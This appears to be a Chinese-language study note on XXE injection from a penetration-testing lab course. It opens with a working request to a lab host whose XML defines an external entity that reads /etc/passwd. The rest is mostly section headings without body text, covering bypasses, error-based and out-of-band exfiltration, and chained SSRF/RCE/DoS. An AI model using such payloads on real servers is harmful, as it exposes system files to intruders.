XXE
1. 發現點
<!DOCTYPE email [ <!ENTITY test "XXE Test"> ]> <email> &test; </email>POST /submitDetails.php HTTP/1.1 Host: 10.129.59.193 User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: text/plain;charset=UTF-8 Content-Length: 214 Origin: http://10.129.59.193 Connection: keep-alive Referer: http://10.129.59.193/ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE email [ <!ENTITY company SYSTEM "file:///etc/passwd"> ]> <root> <name>hack</name> <tel>4324324</tel> <email>&company;</email> <message>hackyou</message> </root>
2. 測試Payload
🔹 讀取伺服器上的敏感文件
🔹 讀取應用程式代碼
🔹 進行內網探測
3. 不符合 XML 格式
⭐ 問題背景:
解決方法:
⭐ 繞過方法 1 — CDATA 包裝
⭐ 繞過方法 2 — Parameter Entities(參數實體)
⭐ 操作流程範例
4. 基於錯誤的XXE
⭐ 問題背景
⭐ 利用條件:
⭐ 攻擊思路:
⭐ 操作流程範例:
✅ 1️⃣ 建立本地 xxe.dtd:
xxe.dtd:✅ 2️⃣ 啟動 HTTP 伺服器供目標訪問:
✅ 3️⃣ 傳送 Payload 給目標:
5. OOB 資料外洩
⭐ 問題背景
⭐ 利用條件:
⭐ 攻擊思路:
⭐ 操作流程範例:
✅ 1️⃣ 建立外部 DTD (xxe.dtd)
xxe.dtd)✅ 2️⃣ 啟動本地 HTTP 伺服器:
✅ 3️⃣ 發送 XXE Payload 給目標:
✅ 4️⃣ 觀察結果
6. 連鎖XXE漏洞
🔹 XXE + SSRF
🔹 XXE + RCE(遠端代碼執行)
🔹 XXE + DoS(拒絕服務攻擊)
6.Skills Assessment
最后更新于
这有帮助吗?